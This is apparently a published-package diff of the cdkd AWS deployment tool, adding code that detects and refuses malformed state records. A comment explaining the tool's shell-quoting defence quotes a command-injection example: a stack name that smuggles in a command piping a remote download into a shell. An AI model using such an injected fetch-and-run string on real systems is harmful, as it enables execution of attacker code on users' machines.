@go-to-k/cdkd 0.290.8 → 0.290.10
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/dist/{asg-provider-B4m3magB.js → asg-provider-BNyUZrYL.js} +2 -2
- package/dist/{asg-provider-B4m3magB.js.map → asg-provider-BNyUZrYL.js.map} +1 -1
- package/dist/cli.js +2 -2
- package/dist/{deploy-engine-Bq0TJ9iN.js → deploy-engine-B6t-R3eP.js} +3 -3
- package/dist/{deploy-engine-Bq0TJ9iN.js.map → deploy-engine-B6t-R3eP.js.map} +1 -1
- package/dist/index.js +1 -1
- package/dist/{program-C7UAuWDp.js → program-DUCNL9hK.js} +594 -239
- package/dist/{program-C7UAuWDp.js.map → program-DUCNL9hK.js.map} +1 -1
- package/dist/{version-CFdjI1Tq.js → version-BwiXzVQd.js} +2 -2
- package/dist/{version-CFdjI1Tq.js.map → version-BwiXzVQd.js.map} +1 -1
- package/package.json +1 -1
|
@@ -1,8 +1,8 @@
|
|
|
1
|
-
import { $ as secretBearing, $n as ensureAssetStorage, $r as setAwsClients, $t as s3BucketRegionalDomainName, A as extractDeploymentEventError, Ai as retryClassificationText, An as buildForceUnlockCommand, Ar as resolveSkipPrefix, At as parameterTypeMayLoseSecretIdentity, B as toCfnInteger, Bn as orphansAfterRollback, Br as uploadCfnTemplate, Bt as configIntegerRefusal, C as buildFinalSnapshotIdentifier, Ci as withErrorHandling, Cn as recordMaskOnlyValue, Cr as Synthesizer, Ct as IntrinsicFunctionResolver, D as refusesFinalSnapshot, Di as isTransientServerError, Dn as LockManager, Dr as resolveApp, Dt as getAccountInfo, E as isFinalSnapshotError, Ei as isThrottlingError, En as scrubResourceRecord, Er as getLegacyStateBucketName, Et as coerceParameterTypedValue, F as isStatefulRecreateTargetSync, Fn as CUSTOM_RESOURCE_RESPONSE_PREFIX, Fr as warnDeprecatedNoPrefixCliFlag, Ft as resolveExplicitPhysicalId, G as gray, Gn as WorkGraph, Gr as derivePartitionAndUrlSuffix, Gt as requireConfigObject, H as formatResourceLine, Hn as shouldRetainResource, Hr as expectedOwnerParam, Ht as readConfigString, I as renderStatefulReason, In as DEFAULT_STATE_PREFIX, Ir as CFN_TEMPLATE_BODY_LIMIT, It as assertRegionMatch, J as yellow, Jn as loadPublishableAssetManifest, Jt as producerRegionsFromState, K as green, Kn as buildAssetRedirectMap, Kr as AssemblyReader, Kt as requireConfigString, L as WARM_THROUGHPUT_MEMBERS, Ln as exportNamesCarriedFrom, Lr as CFN_TEMPLATE_URL_LIMIT, Lt as coerceCfnBoolean, M as planOrphanAdoption, Mn as forceQuitRecoveryClause, Mr as resolveStateBucketWithDefaultAndSource, Mt as isSettledInstanceState, N as MULTI_REGION_RECREATE_BLOCKED_TYPES, Nn as formatLockExpiry, Nr as resolveUseCdkBootstrapAssets, Nt as WAFv2WebACLProvider, O as unsupportedFinalSnapshotError, Oi as markNonRetryable, On as S3StateBackend, Or as resolveAutoAssetStorage, Ot as isImpossibleEmptyStoredAttribute, P as isStatefulRecreateTargetForReplace, Pn as shellQuote, Pr as stateBucketExistenceConfirmed, Pt as normalizeAwsTagsToCfn, Q as isExportAliasCollision, Qn as assertAssetBucketRegion, Qr as resetAwsClients, Qt as s3BucketDualStackDomainName, R as coerceWarmThroughput$1, Rn as importableOutputKeys, Rr as MIGRATE_TMP_PREFIX, Rt as coerceCfnInteger, S as PRE_DELETE_SNAPSHOT_TYPES, Si as normalizeAwsError, Sn as maskSecretsInText, Sr as getDockerImageBySourceHash, St as isTerminationProtectionPropagationError, T as createPreDeleteFinalSnapshot, Ti as isRetryableTransientError, Tn as redactSecretsForState, Tr as getDefaultStateBucketName, Tt as cfnRefValueFromPhysicalId, U as bold, Un as AssetPublisher, Ur as PARTITION_TABLE, Ut as replayWarn, V as toFiniteNumber, Vn as orphansCarriedFrom, Vr as CUSTOM_RESOURCE_RESPONSE_OBJECT_DESCRIPTION, Vt as configStringRefusal, W as cyan, Wn as stringifyValue, Wr as canonicalizeRegion, Wt as requireConfigArray, X as collectPublishedOutputNames, Xn as AssetModeResolver, Xr as AwsClients, Xt as s3BucketArn, Y as collectDeclaredOutputNames, Yn as rewriteTemplateAssetReferences, Yr as resolveBucketRegion, Yt as withSharedDrainBudget, Z as exportAliasCollisionScrubWarning, Zn as BOOTSTRAP_MARKER_PREFIX, Zr as getAwsClients, Zt as s3BucketDomainName, _ as isSecretBearingReferenceString, _i as StackTerminationProtectionError, _n as errorCauseChain, _r as runDockerForeground, _t as slowCcOperationTimeoutMs, a as DeploymentEventsStore, ai as DeployCancelledError, an as findSilentDropProperties, ar as validateContainerRepoName, at as clearOnUpdateRemoval, b as bindingSkippedOutputs, bn as markSameGenerationBag, br as stripControlChars, bt as deleteSkipReason, c as replayFailedOperations, ci as LocalInvokeBuildError$1, cn as DagBuilder, cr as buildDockerImage, ct as createMaskedRetryLogger, d as updatePartialReason, di as NestedStackChildDirectDestroyError, dn as STATE_SOURCED_CROSS_GENERATION_RULES, dr as describeDockerFailure, dt as beginCommandInterruptScope, en as s3BucketWebsiteUrl, er as getBootstrapMarkerKey, et as secretBearingStateKeyWarning, f as withResourceDeadline, fi as PartialFailureError, fn as STATE_SOURCED_READBACK_RULES, fr as dockerSpawnEnvWithSensitive, ft as endCommandInterruptScope, g as bagHoldsSecretExpression, gi as StackHasActiveImportsError, gn as dynamicReferenceTokens, gr as redactDockerArgvValues, gt as CloudControlProvider, h as computeImplicitDeleteEdges, hi as ResourceUpdateNotSupportedError, hn as createSecretMasker, hr as partitionSensitiveEnv, ht as startInterruptWatch, i as DeploymentEventsReader, in as findActionableSilentDrops, ir as validateAssetBucketName, it as collectInlinePolicyNamesManagedBySiblings, j as makeSiblingClaimReader, jn as buildLockContentionMessage, jr as resolveStateBucketWithDefault, jt as refStateLookupFromResource, k as makeCanonicalizePropertiesFn, ki as markRedactedCause, kn as rebuildClientForBucketRegion, kr as resolveCaptureObservedState, kt as isUnboundTemplateParameter, l as replayRollback, li as LocalStartServiceError, ln as TemplateParser, lr as describeDockerCapturedOutput, lt as maskDeep, m as IMPLICIT_DELETE_DEPENDENCIES, mi as ResourceTimeoutError, mn as carriesSecretMask, mr as getDockerCmd, mt as isInterruptedWaitError, n as DEFAULT_RESOURCE_WARN_AFTER_MS, nn as DiffCalculator, nr as parseBootstrapMarker, nt as getCurrentResourceSecrets, o as planFailedOps, oi as DynamicReferenceRegionAmbiguousError, on as describeTypeWithThrottleRetry, or as buildDenyExternalAccessPolicy, ot as ProviderRegistry, p as maskingRetryLogger, pi as ProvisioningError, pn as TEMPLATE_SOURCED_RULES, pr as formatDockerLoginError, pt as interruptWatchListenerCount, q as red, qn as createAssetRedirectResolver, qr as processStackMessages, qt as classifyReplaySecretRegion, r as DeployEngine, ri as CrossAccountSecretRefusalError, rn as INTRINSIC_KEYS, rr as readBootstrapMarkerBody, rt as IAMRoleProvider, s as planRollback, si as IntrinsicResolutionRefusalError, sn as withRetry, sr as describeAwsFailure, st as wouldReturnToSdkProvider, t as DEFAULT_RESOURCE_TIMEOUT_MS, ti as CdkdError, tn as applyRoleArnIfSet, tr as isCrossRegionRedirect, tt as secretSafeKeyDisplay, u as updatePartialMessage, un as STATE_SOURCED_BASELINE_RULES, ur as describeDockerExecFailure, ut as maskerOrIdentity, v as keptWholeReasonText, vn as identityKeyFor, vr as runDockerStreaming, vt as UNSPECIFIED_SKIP_REASON, w as ccRoutedFinalSnapshotError, wi as isMarkedNonRetryable, wn as recoverMaskedOutput, wr as synthesisStatusMessage, wt as carriesDynamicReference, x as ATOMIC_FINAL_SNAPSHOT_TYPES, xn as maskSecretsInError, xr as AssetManifestLoader, xt as disableInstanceApiTermination, y as mergeNoChangeOutputs, yn as isSingleDynamicReferenceToken, yr as escapeRegExp, yt as deleteIndeterminateGuards, z as isWarmThroughputDecrease, zn as importableOutputs, zr as findLargeInlineResources, zt as configBooleanRefusal } from "./deploy-engine-
|
|
1
|
+
import { $ as secretBearing, $n as ensureAssetStorage, $r as setAwsClients, $t as s3BucketRegionalDomainName, A as extractDeploymentEventError, Ai as retryClassificationText, An as buildForceUnlockCommand, Ar as resolveSkipPrefix, At as parameterTypeMayLoseSecretIdentity, B as toCfnInteger, Bn as orphansAfterRollback, Br as uploadCfnTemplate, Bt as configIntegerRefusal, C as buildFinalSnapshotIdentifier, Ci as withErrorHandling, Cn as recordMaskOnlyValue, Cr as Synthesizer, Ct as IntrinsicFunctionResolver, D as refusesFinalSnapshot, Di as isTransientServerError, Dn as LockManager, Dr as resolveApp, Dt as getAccountInfo, E as isFinalSnapshotError, Ei as isThrottlingError, En as scrubResourceRecord, Er as getLegacyStateBucketName, Et as coerceParameterTypedValue, F as isStatefulRecreateTargetSync, Fn as CUSTOM_RESOURCE_RESPONSE_PREFIX, Fr as warnDeprecatedNoPrefixCliFlag, Ft as resolveExplicitPhysicalId, G as gray, Gn as WorkGraph, Gr as derivePartitionAndUrlSuffix, Gt as requireConfigObject, H as formatResourceLine, Hn as shouldRetainResource, Hr as expectedOwnerParam, Ht as readConfigString, I as renderStatefulReason, In as DEFAULT_STATE_PREFIX, Ir as CFN_TEMPLATE_BODY_LIMIT, It as assertRegionMatch, J as yellow, Jn as loadPublishableAssetManifest, Jt as producerRegionsFromState, K as green, Kn as buildAssetRedirectMap, Kr as AssemblyReader, Kt as requireConfigString, L as WARM_THROUGHPUT_MEMBERS, Ln as exportNamesCarriedFrom, Lr as CFN_TEMPLATE_URL_LIMIT, Lt as coerceCfnBoolean, M as planOrphanAdoption, Mn as forceQuitRecoveryClause, Mr as resolveStateBucketWithDefaultAndSource, Mt as isSettledInstanceState, N as MULTI_REGION_RECREATE_BLOCKED_TYPES, Nn as formatLockExpiry, Nr as resolveUseCdkBootstrapAssets, Nt as WAFv2WebACLProvider, O as unsupportedFinalSnapshotError, Oi as markNonRetryable, On as S3StateBackend, Or as resolveAutoAssetStorage, Ot as isImpossibleEmptyStoredAttribute, P as isStatefulRecreateTargetForReplace, Pn as shellQuote, Pr as stateBucketExistenceConfirmed, Pt as normalizeAwsTagsToCfn, Q as isExportAliasCollision, Qn as assertAssetBucketRegion, Qr as resetAwsClients, Qt as s3BucketDualStackDomainName, R as coerceWarmThroughput$1, Rn as importableOutputKeys, Rr as MIGRATE_TMP_PREFIX, Rt as coerceCfnInteger, S as PRE_DELETE_SNAPSHOT_TYPES, Si as normalizeAwsError, Sn as maskSecretsInText, Sr as getDockerImageBySourceHash, St as isTerminationProtectionPropagationError, T as createPreDeleteFinalSnapshot, Ti as isRetryableTransientError, Tn as redactSecretsForState, Tr as getDefaultStateBucketName, Tt as cfnRefValueFromPhysicalId, U as bold, Un as AssetPublisher, Ur as PARTITION_TABLE, Ut as replayWarn, V as toFiniteNumber, Vn as orphansCarriedFrom, Vr as CUSTOM_RESOURCE_RESPONSE_OBJECT_DESCRIPTION, Vt as configStringRefusal, W as cyan, Wn as stringifyValue, Wr as canonicalizeRegion, Wt as requireConfigArray, X as collectPublishedOutputNames, Xn as AssetModeResolver, Xr as AwsClients, Xt as s3BucketArn, Y as collectDeclaredOutputNames, Yn as rewriteTemplateAssetReferences, Yr as resolveBucketRegion, Yt as withSharedDrainBudget, Z as exportAliasCollisionScrubWarning, Zn as BOOTSTRAP_MARKER_PREFIX, Zr as getAwsClients, Zt as s3BucketDomainName, _ as isSecretBearingReferenceString, _i as StackTerminationProtectionError, _n as errorCauseChain, _r as runDockerForeground, _t as slowCcOperationTimeoutMs, a as DeploymentEventsStore, ai as DeployCancelledError, an as findSilentDropProperties, ar as validateContainerRepoName, at as clearOnUpdateRemoval, b as bindingSkippedOutputs, bn as markSameGenerationBag, br as stripControlChars, bt as deleteSkipReason, c as replayFailedOperations, ci as LocalInvokeBuildError$1, cn as DagBuilder, cr as buildDockerImage, ct as createMaskedRetryLogger, d as updatePartialReason, di as NestedStackChildDirectDestroyError, dn as STATE_SOURCED_CROSS_GENERATION_RULES, dr as describeDockerFailure, dt as beginCommandInterruptScope, en as s3BucketWebsiteUrl, er as getBootstrapMarkerKey, et as secretBearingStateKeyWarning, f as withResourceDeadline, fi as PartialFailureError, fn as STATE_SOURCED_READBACK_RULES, fr as dockerSpawnEnvWithSensitive, ft as endCommandInterruptScope, g as bagHoldsSecretExpression, gi as StackHasActiveImportsError, gn as dynamicReferenceTokens, gr as redactDockerArgvValues, gt as CloudControlProvider, h as computeImplicitDeleteEdges, hi as ResourceUpdateNotSupportedError, hn as createSecretMasker, hr as partitionSensitiveEnv, ht as startInterruptWatch, i as DeploymentEventsReader, in as findActionableSilentDrops, ir as validateAssetBucketName, it as collectInlinePolicyNamesManagedBySiblings, j as makeSiblingClaimReader, jn as buildLockContentionMessage, jr as resolveStateBucketWithDefault, jt as refStateLookupFromResource, k as makeCanonicalizePropertiesFn, ki as markRedactedCause, kn as rebuildClientForBucketRegion, kr as resolveCaptureObservedState, kt as isUnboundTemplateParameter, l as replayRollback, li as LocalStartServiceError, ln as TemplateParser, lr as describeDockerCapturedOutput, lt as maskDeep, m as IMPLICIT_DELETE_DEPENDENCIES, mi as ResourceTimeoutError, mn as carriesSecretMask, mr as getDockerCmd, mt as isInterruptedWaitError, n as DEFAULT_RESOURCE_WARN_AFTER_MS, nn as DiffCalculator, nr as parseBootstrapMarker, nt as getCurrentResourceSecrets, o as planFailedOps, oi as DynamicReferenceRegionAmbiguousError, on as describeTypeWithThrottleRetry, or as buildDenyExternalAccessPolicy, ot as ProviderRegistry, p as maskingRetryLogger, pi as ProvisioningError, pn as TEMPLATE_SOURCED_RULES, pr as formatDockerLoginError, pt as interruptWatchListenerCount, q as red, qn as createAssetRedirectResolver, qr as processStackMessages, qt as classifyReplaySecretRegion, r as DeployEngine, ri as CrossAccountSecretRefusalError, rn as INTRINSIC_KEYS, rr as readBootstrapMarkerBody, rt as IAMRoleProvider, s as planRollback, si as IntrinsicResolutionRefusalError, sn as withRetry, sr as describeAwsFailure, st as wouldReturnToSdkProvider, t as DEFAULT_RESOURCE_TIMEOUT_MS, ti as CdkdError, tn as applyRoleArnIfSet, tr as isCrossRegionRedirect, tt as secretSafeKeyDisplay, u as updatePartialMessage, un as STATE_SOURCED_BASELINE_RULES, ur as describeDockerExecFailure, ut as maskerOrIdentity, v as keptWholeReasonText, vn as identityKeyFor, vr as runDockerStreaming, vt as UNSPECIFIED_SKIP_REASON, w as ccRoutedFinalSnapshotError, wi as isMarkedNonRetryable, wn as recoverMaskedOutput, wr as synthesisStatusMessage, wt as carriesDynamicReference, x as ATOMIC_FINAL_SNAPSHOT_TYPES, xn as maskSecretsInError, xr as AssetManifestLoader, xt as disableInstanceApiTermination, y as mergeNoChangeOutputs, yn as isSingleDynamicReferenceToken, yr as escapeRegExp, yt as deleteIndeterminateGuards, z as isWarmThroughputDecrease, zn as importableOutputs, zr as findLargeInlineResources, zt as configBooleanRefusal } from "./deploy-engine-B6t-R3eP.js";
|
|
2
2
|
import { C as truncateCodePoints, S as displaySafe, _ as withSkipPrefix, b as UNRENDERABLE, c as PATTERN_B_NAME_OPTIONS, f as explicitNamePropertyFor, h as getCurrentStackName, i as reserveStdoutForPayload, l as PATTERN_B_NAME_PROPERTIES, m as generateResourceNameWithFallback, n as getLogger, o as runStackBuffered, p as generateResourceName, s as getLiveRenderer, u as PATTERN_B_RESOURCE_TYPES, v as withStackName, x as displayIdent, y as STACK_REF_MAX_CODE_POINTS } from "./logger-H8n5Qjhq.js";
|
|
3
3
|
import { t as awsClientDefaults } from "./aws-client-defaults-D-iYiIJ6.js";
|
|
4
|
-
import { t as getCdkdVersion } from "./version-
|
|
5
|
-
import { a as renderDisableCommand, i as protectedReplacementAdvice, r as UNNAMEABLE_ID_CLAUSE, t as ASGProvider } from "./asg-provider-
|
|
4
|
+
import { t as getCdkdVersion } from "./version-BwiXzVQd.js";
|
|
5
|
+
import { a as renderDisableCommand, i as protectedReplacementAdvice, r as UNNAMEABLE_ID_CLAUSE, t as ASGProvider } from "./asg-provider-BNyUZrYL.js";
|
|
6
6
|
import { AsyncLocalStorage } from "node:async_hooks";
|
|
7
7
|
import { createHash, randomBytes, randomUUID } from "node:crypto";
|
|
8
8
|
import { CopyObjectCommand, CreateBucketCommand, DeleteBucketAnalyticsConfigurationCommand, DeleteBucketCommand, DeleteBucketCorsCommand, DeleteBucketEncryptionCommand, DeleteBucketIntelligentTieringConfigurationCommand, DeleteBucketInventoryConfigurationCommand, DeleteBucketLifecycleCommand, DeleteBucketMetricsConfigurationCommand, DeleteBucketOwnershipControlsCommand, DeleteBucketPolicyCommand, DeleteBucketReplicationCommand, DeleteBucketTaggingCommand, DeleteBucketWebsiteCommand, DeleteObjectsCommand, GetBucketAccelerateConfigurationCommand, GetBucketCorsCommand, GetBucketEncryptionCommand, GetBucketLifecycleConfigurationCommand, GetBucketLocationCommand, GetBucketLoggingCommand, GetBucketNotificationConfigurationCommand, GetBucketOwnershipControlsCommand, GetBucketPolicyCommand, GetBucketReplicationCommand, GetBucketTaggingCommand, GetBucketVersioningCommand, GetBucketWebsiteCommand, GetObjectCommand, GetObjectLockConfigurationCommand, GetPublicAccessBlockCommand, HeadBucketCommand, ListBucketAnalyticsConfigurationsCommand, ListBucketIntelligentTieringConfigurationsCommand, ListBucketInventoryConfigurationsCommand, ListBucketMetricsConfigurationsCommand, ListObjectVersionsCommand, ListObjectsV2Command, NoSuchBucket, NotFound, PutBucketAccelerateConfigurationCommand, PutBucketAnalyticsConfigurationCommand, PutBucketCorsCommand, PutBucketEncryptionCommand, PutBucketIntelligentTieringConfigurationCommand, PutBucketInventoryConfigurationCommand, PutBucketLifecycleConfigurationCommand, PutBucketLoggingCommand, PutBucketMetricsConfigurationCommand, PutBucketNotificationConfigurationCommand, PutBucketOwnershipControlsCommand, PutBucketPolicyCommand, PutBucketReplicationCommand, PutBucketTaggingCommand, PutBucketVersioningCommand, PutBucketWebsiteCommand, PutObjectCommand, PutObjectLockConfigurationCommand, PutPublicAccessBlockCommand, S3Client, S3ServiceException } from "@aws-sdk/client-s3";
|
|
@@ -64007,6 +64007,315 @@ function createDeployCommand() {
|
|
|
64007
64007
|
return cmd;
|
|
64008
64008
|
}
|
|
64009
64009
|
|
|
64010
|
+
//#endregion
|
|
64011
|
+
//#region src/state/malformed-resources-bag.ts
|
|
64012
|
+
/** The error code every malformed-record refusal carries, whatever its class. */
|
|
64013
|
+
const STATE_RESOURCES_MALFORMED = "STATE_RESOURCES_MALFORMED";
|
|
64014
|
+
/**
|
|
64015
|
+
* Answer the ONE question both helpers below key on: can this record's
|
|
64016
|
+
* resource map be read at all?
|
|
64017
|
+
*
|
|
64018
|
+
* Widened past `null` / `undefined` because the message says "no readable
|
|
64019
|
+
* resources map" and a hand-edited record does not stop at those two: a
|
|
64020
|
+
* `[]`, a `5` or a `"ab"` all survive `Object.entries` and yield a bag that is
|
|
64021
|
+
* empty or, for the string, absurd — repaired silently and warned about
|
|
64022
|
+
* nowhere. The predicate is the plain-object test the bag's own type implies.
|
|
64023
|
+
*/
|
|
64024
|
+
function hasReadableResources(state) {
|
|
64025
|
+
return isReadableBag(state.resources);
|
|
64026
|
+
}
|
|
64027
|
+
/**
|
|
64028
|
+
* The plain-object test itself, without the `resources` field bound to it.
|
|
64029
|
+
*
|
|
64030
|
+
* Exported because {@link hasReadableResources} is not the only caller any
|
|
64031
|
+
* more. Spelling the same test a second time at any of them is what this export
|
|
64032
|
+
* exists to prevent: the copies could then drift, and the one that drifted
|
|
64033
|
+
* would fabricate again while looking guarded.
|
|
64034
|
+
*
|
|
64035
|
+
* The consumers outside this module, DERIVED from
|
|
64036
|
+
* `grep -rn "isReadableBag" src/` rather than from recall — re-run that command
|
|
64037
|
+
* rather than trusting this list, which is the third enumeration in this
|
|
64038
|
+
* module's history to be written by reasoning and come out incomplete:
|
|
64039
|
+
*
|
|
64040
|
+
* - `src/cli/commands/state.ts` (3 call sites, all in `repairRenderedContainers`):
|
|
64041
|
+
* `cdkd state show` and `cdkd state resources` walk FOUR more record
|
|
64042
|
+
* containers with `Object.entries` — `outputs`, `skippedOutputs`, and each
|
|
64043
|
+
* resource's `attributes` and `properties` — and a non-object in any of them
|
|
64044
|
+
* fabricates rows exactly as the `resources` bag did (go-to-k/cdkd#3187).
|
|
64045
|
+
* - `src/analyzer/outputs-diff.ts` (1 call site, in `computeOutputsDiff`):
|
|
64046
|
+
* `cdkd diff` walks the stored `outputs` bag to emit its `REMOVE` rows, and a
|
|
64047
|
+
* string there invented one row per character (go-to-k/cdkd#3189). This one is
|
|
64048
|
+
* CROSS-LAYER — the analyzer sits above the state layer, so the import is
|
|
64049
|
+
* downward and carries no cycle, but it means an edit here reaches a layer the
|
|
64050
|
+
* two `resources`-bag callers do not.
|
|
64051
|
+
*
|
|
64052
|
+
* What it does NOT decide is whether a given container is malformed. That is a
|
|
64053
|
+
* per-container call, because absence means different things: an absent
|
|
64054
|
+
* `resources` bag is a defect ({@link hasReadableResources} says so), while an
|
|
64055
|
+
* absent `skippedOutputs` is the normal pre-#2740 record. Each caller pairs
|
|
64056
|
+
* this predicate with its own absence rule.
|
|
64057
|
+
*/
|
|
64058
|
+
function isReadableBag(container) {
|
|
64059
|
+
return typeof container === "object" && container !== null && !Array.isArray(container);
|
|
64060
|
+
}
|
|
64061
|
+
/**
|
|
64062
|
+
* The shared explanation, in the terms the reader needs: what is wrong, what
|
|
64063
|
+
* to look at, and what NOT to do next.
|
|
64064
|
+
*
|
|
64065
|
+
* Both identifiers are SANITIZED and THEN SHELL-QUOTED, and the command is
|
|
64066
|
+
* emitted LAST and UNWRAPPED — the shape `lock-contention-message.ts` and
|
|
64067
|
+
* `.claude/rules/layout-state-types.md` require of any suggestion a user is
|
|
64068
|
+
* meant to paste, for two separate reasons.
|
|
64069
|
+
*
|
|
64070
|
+
* Sanitizing alone is not enough. `displaySafe(..., { asciiOnly: true })` is a
|
|
64071
|
+
* printable-ASCII allowlist, so it removes the line- and escape-forgery class
|
|
64072
|
+
* but KEEPS `'`, `;`, `|`, `` ` ``, `$` and spaces — and neither name is
|
|
64073
|
+
* trusted here, since a stack name reaches the cross-stack read path from an
|
|
64074
|
+
* `Fn::GetStackOutput` argument or an S3 key. A name spelled
|
|
64075
|
+
* `a'; curl http://x|sh; echo '` would close the quoting and append its own
|
|
64076
|
+
* command to the line this text tells the user to RUN.
|
|
64077
|
+
*
|
|
64078
|
+
* Wrapping the command in `'...'` is not enough either, and is what makes the
|
|
64079
|
+
* two compose badly: `shellQuote` does its own quoting, so an outer wrapper
|
|
64080
|
+
* produces something unpastable. Hence unwrapped and last.
|
|
64081
|
+
*
|
|
64082
|
+
* An identifier that sanitizes to EMPTY becomes `UNRENDERABLE` rather than
|
|
64083
|
+
* nothing — an empty argument makes `--stack-region` swallow the next flag,
|
|
64084
|
+
* turning a remedy into a differently-broken command.
|
|
64085
|
+
*/
|
|
64086
|
+
function safeIdentifier(value) {
|
|
64087
|
+
const safe = displaySafe(value, { asciiOnly: true });
|
|
64088
|
+
if (!safe) return UNRENDERABLE;
|
|
64089
|
+
const { text, truncated } = truncateCodePoints(safe, 128);
|
|
64090
|
+
return truncated ? `${text}...` : text;
|
|
64091
|
+
}
|
|
64092
|
+
function malformedStateDetail(stackName, region) {
|
|
64093
|
+
const stack = safeIdentifier(stackName);
|
|
64094
|
+
const reg = safeIdentifier(region);
|
|
64095
|
+
return `State for ${shellQuote(stack)} (${shellQuote(reg)}) has no readable 'resources' map — the record is malformed or truncated. Do NOT run 'cdkd deploy' or 'cdkd destroy' against it: both read the same map, and an unreadable one is indistinguishable from an empty stack, so deploy would re-CREATE every resource and destroy would delete none of them. Inspect it with: cdkd state show ${shellQuote(stack)} --stack-region ${shellQuote(reg)} --json`;
|
|
64096
|
+
}
|
|
64097
|
+
/**
|
|
64098
|
+
* For a READ-ONLY command: give the record an empty resource bag so the
|
|
64099
|
+
* command can report on it, and say so (issue go-to-k/cdkd#3018).
|
|
64100
|
+
*
|
|
64101
|
+
* `parseStateBody` deliberately does not validate the inner shape, so a
|
|
64102
|
+
* hand-edited or truncated record reaches a command with `resources` absent,
|
|
64103
|
+
* `null`, or some other non-object. Every such command then died on a raw
|
|
64104
|
+
* `TypeError` from the first `Object.keys` / `in` / index read — the exact
|
|
64105
|
+
* wording differs per shape (`Cannot convert undefined or null to object`,
|
|
64106
|
+
* `Cannot use 'in' operator`, `Cannot read properties of null`), and none of
|
|
64107
|
+
* them names a stack, a key or a remedy, from exactly the commands a user
|
|
64108
|
+
* reaches for WHEN the state is broken.
|
|
64109
|
+
*
|
|
64110
|
+
* WHY AT THE LOAD AND NOT AT EACH LOOP. The first cut of #3018 put `?? {}` on
|
|
64111
|
+
* the twelve `Object.entries(state.resources)` loops, which was inert: every
|
|
64112
|
+
* one of those flows dereferences the bag EARLIER — `!(id in state.resources)`,
|
|
64113
|
+
* `hasOwnProperty.call(...)`, `state.resources[logicalId]` — so the abort still
|
|
64114
|
+
* happened one line up and the guards only made it look handled. One call per
|
|
64115
|
+
* load dominates the whole flow behind it, including the helpers that take the
|
|
64116
|
+
* state as a parameter (`orphan-rewriter`, `diff-calculator`,
|
|
64117
|
+
* `collectCcApiRoutes`).
|
|
64118
|
+
*
|
|
64119
|
+
* Mutates in place and returns whether it repaired anything; the caller warns
|
|
64120
|
+
* on `true`. A silent repair is its own defect — an empty resource set is
|
|
64121
|
+
* indistinguishable from a healthy empty stack in every later line of output,
|
|
64122
|
+
* so `No changes detected` over an unreadable record is a clean verdict about
|
|
64123
|
+
* nothing.
|
|
64124
|
+
*
|
|
64125
|
+
* **Only for a command that cannot WRITE state.** Anything that can persist
|
|
64126
|
+
* uses {@link refuseMalformedState} instead; see its note.
|
|
64127
|
+
*/
|
|
64128
|
+
function repairMalformedResourcesForReadOnly(state) {
|
|
64129
|
+
if (hasReadableResources(state)) return false;
|
|
64130
|
+
state.resources = {};
|
|
64131
|
+
return true;
|
|
64132
|
+
}
|
|
64133
|
+
/**
|
|
64134
|
+
* The refusal TEXT, for a command whose own exit-code contract means this
|
|
64135
|
+
* cannot be a plain `CdkdError`.
|
|
64136
|
+
*
|
|
64137
|
+
* `cdkd scrub` is the case: its exit `1` is SPOKEN FOR ("--fail found
|
|
64138
|
+
* plaintext") and every one of its refusals carries `exitCode = 2`, because a
|
|
64139
|
+
* CI gate reading the code alone must be able to tell "scrub looked and found
|
|
64140
|
+
* a leak" from "scrub refused to look" — the two call for opposite responses.
|
|
64141
|
+
* So scrub tests {@link hasReadableResources} and raises its own class around
|
|
64142
|
+
* this text rather than calling {@link refuseMalformedState}.
|
|
64143
|
+
*
|
|
64144
|
+
* The other three refusing commands do NOT share that need, and giving them a
|
|
64145
|
+
* single shared code would be wrong in the other direction: `cdkd rollback`
|
|
64146
|
+
* documents `2` as "PARTIAL — journal kept, idempotent re-run", so a `2` here
|
|
64147
|
+
* would tell an operator to re-run a command that attempted nothing.
|
|
64148
|
+
*/
|
|
64149
|
+
function malformedStateRefusalMessage(stackName, region) {
|
|
64150
|
+
return `${malformedStateDetail(stackName, region)} This command can WRITE state, so it refuses rather than continuing: saving over a record whose resource map could not be read would replace the evidence with a well-formed empty one and lose it permanently. Repair or remove the record first.`;
|
|
64151
|
+
}
|
|
64152
|
+
/**
|
|
64153
|
+
* The warning a view emits when it emptied one or more {@link
|
|
64154
|
+
* RenderedStateContainer}s it could not walk (go-to-k/cdkd#3187).
|
|
64155
|
+
*
|
|
64156
|
+
* Deliberately NOT {@link malformedResourcesWarning}'s text, and the reason is
|
|
64157
|
+
* narrower than it looks. That one tells the reader not to run `cdkd deploy` /
|
|
64158
|
+
* `cdkd destroy` because an unreadable `resources` MAP is indistinguishable
|
|
64159
|
+
* from an empty stack: deploy would re-CREATE everything and destroy would
|
|
64160
|
+
* delete nothing. No container named here can produce that specific confusion —
|
|
64161
|
+
* the resource SET is still readable — so borrowing that sentence would attach
|
|
64162
|
+
* a re-create-the-world warning to a record whose resource list is intact.
|
|
64163
|
+
*
|
|
64164
|
+
* It is NOT that these containers are display-only. `properties` is read by the
|
|
64165
|
+
* deploy change calculation (`src/analyzer/diff-calculator.ts`), which imports
|
|
64166
|
+
* nothing from this module, and a non-object there compares unequal to any
|
|
64167
|
+
* desired object and yields a spurious property-change set — filed as
|
|
64168
|
+
* go-to-k/cdkd#3191. An earlier revision of this comment asserted the
|
|
64169
|
+
* display-only premise, which would have read as licence to drop a guard on
|
|
64170
|
+
* that path (review of go-to-k/cdkd#3190).
|
|
64171
|
+
*
|
|
64172
|
+
* What stays the same is the remedy: `--json` is the mode that shows the
|
|
64173
|
+
* stored value.
|
|
64174
|
+
*
|
|
64175
|
+
* ONE warning per record however many containers it names — a stack whose 500
|
|
64176
|
+
* resources all carry a hand-edited `properties` gets one line, not 500. The
|
|
64177
|
+
* caller FILTERS a fixed order (`RENDERED_CONTAINER_ORDER`), so the text is
|
|
64178
|
+
* stable across records. Not `.sort()` — that order is deliberately not
|
|
64179
|
+
* alphabetical, and its own JSDoc says so.
|
|
64180
|
+
*
|
|
64181
|
+
* Both identifiers are sanitized and then shell-quoted, and the command is
|
|
64182
|
+
* emitted LAST and UNWRAPPED, for the reasons {@link safeIdentifier}'s own note
|
|
64183
|
+
* gives.
|
|
64184
|
+
*
|
|
64185
|
+
* The container NAMES take {@link safeIdentifier} too — the SAME helper, so
|
|
64186
|
+
* they cannot drift from it — but NOT `shellQuote`, because they appear in the
|
|
64187
|
+
* PROSE and never inside the command this text tells the reader to run; the
|
|
64188
|
+
* command carries the two identifiers and nothing else.
|
|
64189
|
+
*
|
|
64190
|
+
* Sanitizing them is not dead code written for a case that cannot happen. The
|
|
64191
|
+
